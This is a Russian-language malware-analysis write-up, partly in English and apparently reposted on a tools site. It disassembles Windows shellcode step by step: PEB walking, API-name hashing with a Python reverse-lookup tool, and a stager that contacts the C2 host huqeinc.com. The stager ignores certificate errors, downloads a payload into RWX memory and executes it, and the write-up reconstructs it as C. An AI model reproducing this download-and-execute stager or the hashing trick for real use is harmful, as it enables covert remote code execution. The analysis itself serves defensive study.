0x0000000000000007: 89 E5 mov ebp, esp 0x0000000000000009: 31 D2 xor edx, edx 0x000000000000000b: 64 8B 52 30 mov edx, dword ptr fs:[edx + 0x30] 0x000000000000000f: 8B 52 0C mov edx, dword ptr [edx + 0xc] 0x0000000000000012: 8B 52 14 mov edx, dword ptr [edx + 0x14] 0x0000000000000015: 8B 72 28 mov esi, dword ptr [edx + 0x28] 0x0000000000000018: 0F B7 4A 26 movzx ecx, word ptr [edx + 0x26]

root@kitploit:~
После простого пролога (сохранения всех регистров и создания нового стекового кадра) мы видим, что `edx` обнуляется (само- XOR’ингом).
Затем `edx` получает адрес `fs:[0x30]`. Этот адрес указывает на [Process Environment Block (PEB)](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb).
PEB — это блок в режиме пользователя, содержащий полезные данные процесса, включая его командную строку, статус отладки, загруженные модули и другое. Это оптимизация производительности, позволяющая избегать лишних системных вызовов.
Мы видим несколько ссылок на адреса — в IDA можно загрузить структуру PEB, но для полноты картины:
- Смещение `0xc` — это член `LDR` структуры `PEB`, имеющий тип `PPEB_LDR_DATA`, который задокументирован [здесь](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data).
- Смещение `0x14` в структуре `PEB_LDR_DATA` — это член `InMemoryOrderModuleList` типа `LIST_ENTRY`. Структура `LIST_ENTRY` широко используется в Windows и обычно является просто заголовком в более крупной структуре. Этот случай не исключение — реальный тип элементов — `LDR_DATA_TABLE_ENTRY`.
- По смещению `0x24` в `LDR_DATA_TABLE_ENTRY` находится член `FullDllName` типа `UNICODE_STRING`. Этот тип широко используется в Windows и по сути является контейнером для Pascal-строки — первые два WORD’а описывают длину строки и ёмкость буфера. Таким образом, по адресу `0x28` мы найдём фактический буфер, который будет сохранён в регистре `esi`.
- Регистр `ecx` находится на 2 байта раньше буфера имени DLL — и содержит длину строки.

Итак, весь этот фрагмент извлекает `FullDllName` из текущей записи модуля в PEB — сохраняя буфер в `esi`, а его длину в `ecx`.

## Вычисление хеша имени модуля
Рассмотрим следующую пару инструкций:```assembly
0x000000000000001c:  31 FF                      xor        edi, edi
0x000000000000001e:  31 C0                      xor        eax, eax
0x0000000000000020:  AC                         lodsb      al, byte ptr [esi]
0x0000000000000021:  3C 61                      cmp        al, 0x61
0x0000000000000023:  7C 02                      jl         0x27
0x0000000000000025:  2C 20                      sub        al, 0x20
0x0000000000000027:  C1 CF 0D                   ror        edi, 0xd
0x000000000000002a:  01 C7                      add        edi, eax
0x000000000000002c:  E2 F0                      loop       0x1e

Инструкция lodsb — именно поэтому строка была сохранена в esi, длина — в ecx, а флаг направления был сброшен. Она читает первый ANSI-символ (байт), на который указывает esi, увеличивает esi на единицу и сохраняет результат в регистр al. Последующие части преобразуют символ из нижнего регистра в верхний — если код ASCII больше или равен 0x61 ('a'), то вычитается 0x20. После преобразования в верхний регистр регистр edi циклически сдвигается вправо на 0xd, а затем к нему прибавляется значение символа. Поскольку edi подвергается циклическому сдвигу — он теряет информацию о конкретных добавленных символах, но сохраняет в своём значении некую их совокупность. Иными словами, edi — это некий хэш строки, на которую указывает esi. Инструкция loop, кстати, умно использует тот факт, что ecx является счётчиком длины строки: она уменьшает ecx на единицу и будет выполнять следующую итерацию, пока ecx не станет нулевым. Перенести эту логику на Python довольно просто:```python def get_string_hash(s): v = 0 for c in s.upper(): v = (v >> 0xd) | ((v & 0x1fff) << 19) v = (v + ord(c)) & 0xffffffff return v

root@kitploit:~
## Обход таблицы экспорта
Перейдём к следующей паре инструкций:```assembly
0x000000000000002e:  52                         push       edx
0x000000000000002f:  57                         push       edi
0x0000000000000030:  8B 52 10                   mov        edx, dword ptr [edx + 0x10]
0x0000000000000033:  8B 42 3C                   mov        eax, dword ptr [edx + 0x3c]
0x0000000000000036:  01 D0                      add        eax, edx
0x0000000000000038:  8B 40 78                   mov        eax, dword ptr [eax + 0x78]
0x000000000000003b:  85 C0                      test       eax, eax
0x000000000000003d:  74 4A                      je         0x89
0x000000000000003f:  01 D0                      add        eax, edx
0x0000000000000041:  50                         push       eax
0x0000000000000042:  8B 48 18                   mov        ecx, dword ptr [eax + 0x18]
0x0000000000000045:  8B 58 20                   mov        ebx, dword ptr [eax + 0x20]
0x0000000000000048:  01 D3                      add        ebx, edx

Сначала edx (который содержит текущую запись модуля) и edi (который содержит хэш его имени) сохраняются в стек. После этого edx разыменовывается по смещению 0x10. Поскольку мы находимся на 8 байт внутри структуры (типа LDR_DATA_TABLE_ENTRY), 0x10 — это член DllBase записи (0x18 - 0x8). Даже в памяти модуль имеет структуру PE, и offset 0x3c соответствует указателю PE-заголовка в DOS-заголовке. Мы видим, что eax рассматривается как RVA, так как он прибавляется к edx — edx является базовым адресом модуля в памяти. Аналогично, смещение 0x78 от этого — это PE-таблица экспорта, которая содержит информацию об экспортируемых символах (обычно функциях). Структура данных для неё называется IMAGE_EXPORT_DIRECTORY, и она хорошо документирована. Предполагая, что она не равна нулю (что проверяется инструкцией test) — мы помещаем eax в стек и разыменовываем две её части:

  • По смещению 0x18 мы получаем член NumberOfNames.
  • По смещению 0x20 мы получаем член AddressOfNames. Итак, резюмируя, эта часть выполнила некоторый разбор PE для получения таблицы экспорта — а именно количество экспортируемых символов (в ecx) и их адрес в памяти (в ebx).

Двигаемся дальше:```assembly 0x000000000000004a: E3 3C jecxz 0x88 0x000000000000004c: 49 dec ecx 0x000000000000004d: 8B 34 8B mov esi, dword ptr [ebx + ecx*4] 0x0000000000000050: 01 D6 add esi, edx

root@kitploit:~
Инструкция `jecxz` выполняет переход, если `ecx` равен нулю — это происходит при отсутствии экспортируемых имён, но также намекает на то, что эта проверка будет выполняться в цикле.
Тот факт, что мы уменьшаем `ecx`, подтверждает это подозрение — мы ожидаем, что при переборе всех экспортируемых символов будет выполняться некоторое условие.
Мы видим, что `ecx` умножается на 4 и прибавляется к `ebx` — все элементы в `AddressOfNames` являются RVA имён символов, и поэтому `esi` в итоге указывает на экспортируемое имя.```assembly
0x0000000000000052:  31 FF                      xor        edi, edi
0x0000000000000054:  31 C0                      xor        eax, eax
0x0000000000000056:  AC                         lodsb      al, byte ptr [esi]
0x0000000000000057:  C1 CF 0D                   ror        edi, 0xd
0x000000000000005a:  01 C7                      add        edi, eax
0x000000000000005c:  38 E0                      cmp        al, ah
0x000000000000005e:  75 F4                      jne        0x54

Эта часть похожа на вычисление хеша, которое мы видели ранее, но вместо использования ecx в качестве счётчика — здесь хеш вычисляется до NUL-терминатора:

  • Сначала edi обнуляется (путём XOR с самим собой). Как и раньше — edi будет хранить значение хеша.
  • Регистр eax также обнуляется. Его младший байт (al) будет содержать ASCII-код текущего символа на каждой итерации.
  • С помощью lodsb код записывает в al байт, на который указывает esi, и увеличивает esi на следующий байт.
  • Как и раньше, edi циклически сдвигается вправо на 0xd, после чего к нему прибавляется ASCII-значение текущего символа.
  • Сравнение al и ah на самом деле просто сравнивает al с нулём (NUL-терминатором), поскольку ни одна операция здесь не затрагивает другие байты eax, и мы убедились, что они равны нулю.
  • Вместо использования инструкции loop (которая взаимодействует с ecx) мы просто перепрыгиваем назад (с помощью jne) — до тех пор, пока не встретили NUL-терминатор.

Ожидаем, что следующие части выполнят своего рода сравнение между различными вычисленными хешами (имя модуля, имя символа) и полученными нами входными данными:```assembly 0x0000000000000060: 03 7D F8 add edi, dword ptr [ebp - 8] 0x0000000000000063: 3B 7D 24 cmp edi, dword ptr [ebp + 0x24] 0x0000000000000066: 75 E2 jne 0x4a 0x0000000000000068: 58 pop eax 0x0000000000000069: 8B 58 24 mov ebx, dword ptr [eax + 0x24] 0x000000000000006c: 01 D3 add ebx, edx 0x000000000000006e: 66 8B 0C 4B mov cx, word ptr [ebx + ecx2] 0x0000000000000072: 8B 58 1C mov ebx, dword ptr [eax + 0x1c] 0x0000000000000075: 01 D3 add ebx, edx 0x0000000000000077: 8B 04 8B mov eax, dword ptr [ebx + ecx4] 0x000000000000007a: 01 D0 add eax, edx 0x000000000000007c: 89 44 24 24 mov dword ptr [esp + 0x24], eax 0x0000000000000080: 5B pop ebx 0x0000000000000081: 5B pop ebx 0x0000000000000082: 61 popad
0x0000000000000083: 59 pop ecx 0x0000000000000084: 5A pop edx 0x0000000000000085: 51 push ecx 0x0000000000000086: FF E0 jmp eax

root@kitploit:~
Итак, `ebp-8` указывает точно на старое значение `edi`, которое мы поместили в стек, — оно содержало хэш заданного имени модуля.
Мы складываем это значение хэша с хэшем экспортируемого имени и сравниваем с DWORD по адресу `ebp+0x24`.
Из-за более ранней инструкции `pushad` мы поместили в стек 8 регистров, так что это указывает непосредственно на последнее загадочное значение, которое было помещено в стек в начале (0x726774c)!
Если они не равны — мы переходим к смещению `0x4a`, чтобы перейти к следующему символу в том же модуле.
В противном случае мы восстанавливаем таблицу экспорта в `eax`, разыменовываем 0x24 байта (это таблица порядковых номеров) и прибавляем к базовому `ebx`.
Таблица порядковых номеров содержит 2 байта на каждую запись — и поскольку `ecx` является номером записи, `ebx + ecx*2` — это порядковое значение.
Следующие пару строк просты: `0x1c` в таблице экспорта — это адрес экспортируемых функций, а `ebx + ecx*4` представляет адрес функции, индексируемый по `ecx`.
Как видно, это значение сохраняется в `eax` и в итоге вызывается:
- Сохранение значения `eax` в `esp + 0x24`, которое в данный момент находится точно там, где регистр `eax` был сохранён инструкцией `pushad`. Это гарантирует, что значение `eax` не потеряется при выполнении `popad`.
- Выполнение двух фиктивных `pop` в `ebx`, чтобы избавиться от двух предыдущих `push` (вычисленного хэша и записи модуля).
- Выполнение `popad`, который восстанавливает все регистры общего назначения из стека, но сохраняет `eax` благодаря нашему предыдущему переопределению. На этом этапе стек и регистры равны своему исходному состоянию на момент входа в функцию, за исключением `eax`, который является желаемым указателем на функцию.
- Извлечение возвращаемого значения (помещённого в стек из `call ebp`) в `ecx` и желаемого хэша в `edx`, а затем повторное помещение `ecx` в стек, по сути избавляясь от загадочного значения хэша в стеке.
- Выполнение `jmp eax` в этот момент завершает функцию — функция, на которую указывает `eax`, будет выполнена, и когда она вернётся, она будет использовать исходное возвращаемое значение.

Последняя часть этой длинной логики, по сути, переходит к следующему модулю:```assembly
0x0000000000000088:  58                         pop        eax
0x0000000000000089:  5F                         pop        edi
0x000000000000008a:  5A                         pop        edx
0x000000000000008b:  8B 12                      mov        edx, dword ptr [edx]
0x000000000000008d:  EB 86                      jmp        0x15

Это по сути очистит предыдущие пуши и перейдёт к смещению 0x15, где будет использоваться следующий модуль.

Если вкратце — весь шеллкод между смещениями 6 и 0x8d (включительно) ожидает, что для функции будут переданы параметры, а затем пользовательский хэш. Когда хэш совпадает — вызывается соответствующая функция. Это, безусловно, удобный способ избежать строк с именами функций в вашем коде!

Поскольку нам придётся часто разбирать эти хэши, стоит автоматизировать нашу работу. Воспользуемся уже написанными ранее Python-скриптами и напишем функцию, которая ищет заданный хэш:```python import os import pefile import sys

BASE_DIR = os.path.join(os.environ['WINDIR'], 'system32')

def get_string_hash(s): v = 0 for c in s: v = (v >> 0xd) | ((v & 0x1fff) << 19) v = (v + ord(c)) & 0xffffffff return v

def get_lib_hash(s): return get_string_hash(''.join([ i + '\x00' for i in (s + '\x00').upper() ]))

def get_sym_hash(s): return get_string_hash(s + '\x00')

def find_by_hash(hash, dll_postfix): for dll_name in os.listdir(BASE_DIR): if not dll_name.endswith(dll_postfix): continue dll_path = os.path.join(BASE_DIR, dll_name) dll_hash = get_lib_hash(dll_name) pe = pefile.PE(dll_path) if pe is None or not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'): continue syms = [ sym.name.decode() for sym in pe.DIRECTORY_ENTRY_EXPORT.symbols if sym.name is not None ] for s in syms: if (get_sym_hash(s) + dll_hash) & 0xFFFFFFFF == hash: print('%s!%s' % (dll_name, s)) return print('Coult not find hash!')

if name == 'main': if len(sys.argv) > 1: dll_postfix = '.dll' if len(sys.argv) == 2 else sys.argv[2] num = int(sys.argv[1], 16) if 'x' in sys.argv[1] else int(sys.argv[1]) find_by_hash(num, dll_postfix)

root@kitploit:~
Например, когда мы запускаем `get_hash.py 0x726774c kernel32.dll`, мы получаем вывод `kernel32.dll!LoadLibraryA`!

## Анализ основной логики
Теперь, когда мы понимаем, как работает вся функциональность хэширования, пора заняться поиском хэшей!
Вернёмся к основной логике: мы говорили, что строка `wininet` помещается в стек, — и теперь мы знаем, что `LoadLibraryA` вызывается с ней.
Следующие части теперь:```assembly
0x00000000000000a2:  E8 00 00 00 00             call       0xa7
0x00000000000000a7:  31 FF                      xor        edi, edi
0x00000000000000a9:  57                         push       edi
0x00000000000000aa:  57                         push       edi
0x00000000000000ab:  57                         push       edi
0x00000000000000ac:  57                         push       edi
0x00000000000000ad:  57                         push       edi
0x00000000000000ae:  68 3A 56 79 A7             push       0xa779563a
0x00000000000000b3:  FF D5                      call       ebp

Находящийся там call помещает обратный адрес в стек (0xa7). Затем мы обнуляем edi и помещаем в стек 5 нулей. 0xa779563a — это ещё один хэш, на этот раз в wininet.dll, поскольку get_hash.py 0xa779563a возвращает wininet.dll!InternetOpenA. Следовательно, код вызывает InternetOpenA со всеми нулями и NULL. Есть пара переходов, которые в итоге приводят к вызову обратно к смещению 0xba:```assembly 0x00000000000000b5: E9 A4 00 00 00 jmp 0x15e 0x00000000000000ba: 5B pop ebx ... 0x000000000000015e: E9 C9 01 00 00 jmp 0x32c ... 0x000000000000032c: E8 89 FD FF FF call 0xba 0x0000000000000331: 68 75 71 65 69 push 0x69657175 0x0000000000000336: E6 outs dx, byte ptr ds:[esi] ...

root@kitploit:~
Идея в том, что когда мы вернёмся, у нас будет запушен адрес смещения `0x331`. Я добавил пару инструкций ассемблера по этому адресу — обратите внимание, что `outs`, например, не то, что мы ожидаем. Изучение этих байтов *как данных* даёт другую картину:```python
binascii.unhexlify('68757165696e632e636f6d005d44fd6d')

Это даёт строку huqeinc.com (с NUL-терминатором), за которой следуют 4 нечитаемых байта. Итак, когда мы возвращаемся к адресу 0xba, мы выполняем pop в ebx, который будет указывать на эту строку. Давайте рассмотрим части, следующие за этой инструкцией:```assembly 0x00000000000000bb: 31 C9 xor ecx, ecx 0x00000000000000bd: 51 push ecx 0x00000000000000be: 51 push ecx 0x00000000000000bf: 6A 03 push 3 0x00000000000000c1: 51 push ecx 0x00000000000000c2: 51 push ecx 0x00000000000000c3: 68 BB 01 00 00 push 0x1bb 0x00000000000000c8: 53 push ebx 0x00000000000000c9: 50 push eax 0x00000000000000ca: 68 57 89 9F C6 push 0xc69f8957 0x00000000000000cf: FF D5 call ebp

root@kitploit:~
Значение `0xc69f8957` — ещё один хэш, на этот раз для `wininet.dll!InternetConnectA`.
Эта функция принимает множество параметров, но по сути мы получаем: `InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL)`.
Обратите внимание, что `INTERNET_SERVICE_HTTP` равно 3, `0x1bb` — это 443, а `eax` содержал результат вызова `InternetOpenA`.

Двигаясь дальше, мы видим похожий набор переходов после сохранения результата `InternetConnectA`:```assembly
0x00000000000000d1:  50                         push       eax
0x00000000000000d2:  E9 8C 00 00 00             jmp        0x163
0x00000000000000d7:  5B                         pop        ebx
0x00000000000000d8:  31 D2                      xor        edx, edx
0x00000000000000da:  52                         push       edx
0x00000000000000db:  68 00 32 C0 84             push       0x84c03200
0x00000000000000e0:  52                         push       edx
0x00000000000000e1:  52                         push       edx
0x00000000000000e2:  52                         push       edx
0x00000000000000e3:  53                         push       ebx
0x00000000000000e4:  52                         push       edx
0x00000000000000e5:  50                         push       eax
0x00000000000000e6:  68 EB 55 2E 3B             push       0x3b2e55eb
0x00000000000000eb:  FF D5                      call       ebp
...
0x0000000000000163:  E8 6F FF FF FF             call       0xd7
0x0000000000000168:  2F                         das        
0x0000000000000169:  51                         push       ecx
0x000000000000016a:  70 59                      jo         0x1c5
...

Как и прежде, инструкции после вызова выглядят бессмысленными, поэтому мы подозреваем, что их следует интерпретировать как данные. Действительно, они кодируют NUL-терминированную строку /QpYB, что не очень помогает. Отметим, что когда мы возвращаемся к смещению 0xd7, указатель на эту строку помещается в стек. Вернёмся к 0xd7: этот адрес извлекается в ebx. Чтобы понять, что означают эти данные, выясним, какая функция вызывается. Хэш 0x3b2e55eb соответствует wininet.dll!HttpOpenRequestA, которая также получает множество параметров. Большинство этих параметров будут NULL (из-за push от edx), за исключением следующих:

  • hConnect — это eax, результат вызова InternetConnectA.
  • lpszObjectName — строка, которую мы уже видели (/QpYB).
  • dwFlags содержат значение 0x84c03200, которое, согласно этому, равно INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD.

Следующая пара инструкций завершается ещё одним вызовом API:```assembly 0x00000000000000ed: 89 C6 mov esi, eax 0x00000000000000ef: 83 C3 50 add ebx, 0x50 0x00000000000000f2: 68 80 33 00 00 push 0x3380 0x00000000000000f7: 89 E0 mov eax, esp 0x00000000000000f9: 6A 04 push 4 0x00000000000000fb: 50 push eax 0x00000000000000fc: 6A 1F push 0x1f 0x00000000000000fe: 56 push esi 0x00000000000000ff: 68 75 46 9E 86 push 0x869e4675 0x0000000000000104: FF D5 call ebp

root@kitploit:~
После сохранения результата вызова `HttpOpenRequestA` в `esi` мы прибавляем к `ebx` значение 0x50.
Поскольку `ebx` гарантированно сохраняется между вызовами, теперь он будет указывать на смещение `0x1b8` в шеллкоде, которое в виде строки выглядит так: `User-Agent: Microsoft-CryptoAPI/6.1\r\n`.
Хэш `0x869e4675` разрешает API `wininet.dll!InternetSetOptionA`, которому будут переданы следующие аргументы:
- Дескриптор запроса, сохранённый в `esi`.
- Значение `0x1f` в качестве `dwOption`, которое согласно [этому](https://learn.microsoft.com/en-us/windows/win32/wininet/option-flags) является `INTERNET_OPTION_SECURITY_FLAGS`.
- Параметр `lpBuffer` будет указателем на значение `0x3380`, которое кодирует флаги безопасности для запроса: `WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID`.
- Значение `dwBufferLength` равно 4, так как в качестве `lpBuffer` был задан только DWORD.

Это заставит соединение использовать TLS, но игнорировать все ошибки сертификатов и т. д.

Вот следующие части:```assembly
0x0000000000000106:  5F                         pop        edi
0x0000000000000107:  31 FF                      xor        edi, edi
0x0000000000000109:  57                         push       edi
0x000000000000010a:  57                         push       edi
0x000000000000010b:  6A FF                      push       -1
0x000000000000010d:  53                         push       ebx
0x000000000000010e:  56                         push       esi
0x000000000000010f:  68 2D 06 18 7B             push       0x7b18062d
0x0000000000000114:  FF D5                      call       ebp
0x0000000000000116:  85 C0                      test       eax, eax
0x0000000000000118:  0F 84 CA 01 00 00          je         0x2e8
0x000000000000011e:  31 FF                      xor        edi, edi
0x0000000000000120:  85 F6                      test       esi, esi
0x0000000000000122:  74 04                      je         0x128
0x0000000000000124:  89 F9                      mov        ecx, edi
0x0000000000000126:  EB 09                      jmp        0x131
0x0000000000000128:  68 AA C5 E2 5D             push       0x5de2c5aa
0x000000000000012d:  FF D5                      call       ebp
0x000000000000012f:  89 C1                      mov        ecx, eax
0x0000000000000131:  68 45 21 5E 31             push       0x315e2145
0x0000000000000136:  FF D5                      call       ebp
0x0000000000000138:  31 FF                      xor        edi, edi
0x000000000000013a:  57                         push       edi
0x000000000000013b:  6A 07                      push       7
0x000000000000013d:  51                         push       ecx
0x000000000000013e:  56                         push       esi
0x000000000000013f:  50                         push       eax
0x0000000000000140:  68 B7 57 E0 0B             push       0xbe057b7
0x0000000000000145:  FF D5                      call       ebp
0x0000000000000147:  BF 00 2F 00 00             mov        edi, 0x2f00
0x000000000000014c:  39 C7                      cmp        edi, eax
0x000000000000014e:  75 07                      jne        0x157
0x0000000000000150:  58                         pop        eax
0x0000000000000151:  50                         push       eax
0x0000000000000152:  E9 7B FF FF FF             jmp        0xd2
0x0000000000000157:  31 FF                      xor        edi, edi
0x0000000000000159:  E9 91 01 00 00             jmp        0x2ef

There is a dummy pop to clean up over-pushing from before (we pushed the security options to the stack). Since we see another hash (0x7b18062d), we immidiately resolve its API: wininet.dll!HttpSendRequestA. There are some noteworthy parts here:

  • The user agent saved earlier in ebx is used as the second argument to the function.
  • After the function is called, there is a check to see if succeeded - if it failed - we jump to offset 0x2e8.
  • Checking if esi is zero really checks if the request handle is not NULL. This is quite odd since we already invoked HttpSendRequestA at this point, but still - if it was, we jump to 0x128.
  • At offset 0x128 we use the hash 0x5de2c5aa, which is kernel32.dll!GetLastError, and save its result in ecx.
  • At offset 0x131 we use the hash 0x315e2145, which is user32.dll!GetDesktopWindow, and then use that result with the hash 0xbe057b7, which is wininet.dll!InternetErrorDlg.
  • The constant 0x2f00 is ERROR_INTERNET_FORCE_RETRY, and we compare the result of InternetErrorDlg to it.

The idea is to simply call InternetErrorDlg and see if a retry is required. Let's also recall: if HttpSendRequestA fail - we jump to 0x2e8. If it succeeded and a retry is not required - we jump to 0x2ef. Examining offset 0x2e8 (the failure path):```assembly 0x00000000000002e8: 68 F0 B5 A2 56 push 0x56a2b5f0 0x00000000000002ed: FF D5 call ebp

root@kitploit:~
Хэш преобразуется в `kernel32.dll!ExitProcess`, поэтому при сбое мы завершаем процесс.
Всю эту часть можно перевести следующим образом:```c
if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0))
{
	ExitProcess(0);
}
if (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA, NULL))
{
	goto lblRetryConn;
}
...

Запуск еще одного шеллкода

Давайте посмотрим, что происходит по смещению 0x2ef:```assembly 0x00000000000002ef: 6A 40 push 0x40 0x00000000000002f1: 68 00 10 00 00 push 0x1000 0x00000000000002f6: 68 00 00 40 00 push 0x400000 0x00000000000002fb: 57 push edi 0x00000000000002fc: 68 58 A4 53 E5 push 0xe553a458 0x0000000000000301: FF D5 call ebp 0x0000000000000303: 93 xchg ebx, eax 0x0000000000000304: B9 00 00 00 00 mov ecx,0x0 0x0000000000000309: 01 D9 add ecx,ebx 0x000000000000030b: 51 push ecx 0x000000000000030c: 53 push ebx 0x000000000000030d: 89 E7 mov edi, esp 0x000000000000030f: 57 push edi 0x0000000000000310: 68 00 20 00 00 push 0x2000 0x0000000000000315: 53 push ebx 0x0000000000000316: 56 push esi 0x0000000000000317: 68 12 96 89 E2 push 0xe2899612 0x000000000000031c: FF D5 call ebp 0x000000000000031e: 85 C0 test eax, eax 0x0000000000000320: 74 C6 je 0x2e8

root@kitploit:~
Можете ли вы угадать, что это за хэш `0xe553a458`, основываясь только на этих других константах?
- `0x40` — это `PAGE_EXECUTEREADWRITE`, как мы видели ранее.
- `0x1000` — это `MEM_COMMIT`.

Действительно, этот хэш соответствует `kernel32.dll!VirtualAlloc`, и мы просто выделяем RWX-блок размером `0x400000`.
Важно понять логику атакующего: раз у нас есть интернет-соединение с неким C2-сервером, а теперь мы выделяем RWX-страницу — мы ожидаем получения ещё одного пейлоада!

После этого вызова результирующий буфер памяти сохраняется в `ebx` и `ecx`.
По смещению `0x30b` начинается ещё одна последовательность push-инструкций для вызова функции — на этот раз с хэшем `0xe2899612` (`wininet.dll!InternetReadFile`).
Push-инструкции задают параметры (в обратном порядке):
- `hFile` — это `esi`, наш интернет-запрос (типа `HINTERNET`).
- `lpBuffer` — это `ebx` — наш только что выделенный буфер.
- `dwNumberOfBytesToRead` установлен в `0x2000`.
- `lpdwNumberOfBytesRead` — это `edi`, указывающий на запасное место, которое мы выделили в стеке.

Наконец, если эта функция завершится ошибкой, мы переходим к `0x2e8`, где снова вызывается `ExitProcess`.
Обратите внимание на дополнительную инструкцию `push` для `ecx` (смещение `0x30b`) — это означает, что мы сохранили адрес нашего выделенного буфера.

Мы почти в конце! Давайте рассмотрим последние пару инструкций:```assembly
0x0000000000000322:    8B 07                      mov        eax, dword ptr [edi]
0x0000000000000324:    01 C3                      add        ebx, eax
0x0000000000000326:    85 C0                      test       eax, eax
0x0000000000000328:    75 E5                      jne        0x30f
0x000000000000032a:    58                         pop        eax
0x000000000000032b:    C3                         ret

Well, edi указывал на количество прочитанных байт — оно разыменовывается в eax. Затем мы прибавляем это значение к ebx, который сохраняется и указывает на нашу RWX-область памяти. Если eax не равен нулю, это означает, что было прочитано несколько байт, поэтому мы снова переходим к 0x30f, чтобы прочитать ещё данные. Это типично для сценариев чтения: мы читаем максимум по 0x2000 байт за раз, пока не прочитаем 0, что означает, что байт для чтения больше не осталось. Если мы не переходим, то оказываемся на 0x32a, где мы pop выделенные байты из стека и вызываем ret. Напоминаем: ранее мы помещали в стек начало возвращённого буфера, поэтому ret использует его как адрес возврата. Это означает, что мы просто переходим на полученный буфер — по сути, обращаемся с ним как с ещё одним шеллкодом!

Собираем всё вместе

Вот как наш шеллкод может концептуально выглядеть:```c HINTERNET hInternet; HINTERNET hConnect; HINTERNET hRequest; DWORD dwSecurityOptions = WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID; DWORD dwErrorFlags = FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA; PBYTE pcPayload; PBYTE pcCurrPtr; DWORD dwBytesRead; INT (*pfnPayload)();

// Make sure "wininet.dll" is loaded in current process LoadLibraryA("wininet");

// Connect to C2 hInternet = InternetOpenA(NULL, 0, NULL, NULL, 0); hConnect = InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);

// Attempt to create a request to C2 do { hRequest = HttpOpenRequestA(hConnect, NULL, "/QpYB", NULL, NULL, NULL, INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD, NULL); InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwSecurityOptions, sizeof(dwSecurityOptions)); if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0)) { ExitProcess(0); } } while (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, dwErrorFlags, NULL));

// Allocate RWX payload pcPayload = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTEREADWRITE);

// Read payload from the C2 pcCurrPtr = pcPayload; do { if (!InternetReadFile(hRequest, pcCurrPtr, 0x2000, &dwBytesRead)) { ExitProcess(0); } pcCurrPtr += dwBytesRead; } while (0 < dwBytesRead);

// Execute payload pfnPayload = (INT(*)())pcPayload; pfnPayload();

root@kitploit:~
## Краткое содержание
Хотя это очень распространённый шеллкод для изучения, его статический анализ даёт полезные уроки:
- Мы извлекли несколько слоёв PowerShell-кода, чтобы получить 32-битный шеллкод.
- В ходе анализа шеллкода мы обсудили `PEB` и стратегии написания шеллкода в Windows.
- Мы создали инструмент для поиска по обратному хешу (см. `get_hash.py` в этом репозитории).
- Мы рассмотрели распространённые приёмы шеллкода, такие как `push-ret` и `call-pop`.
- Мы затронули некоторые части структуры файла `PE`.

Спасибо,

Jonathan Bar Or (https://jonathanbaror.com)
Скачать инструмент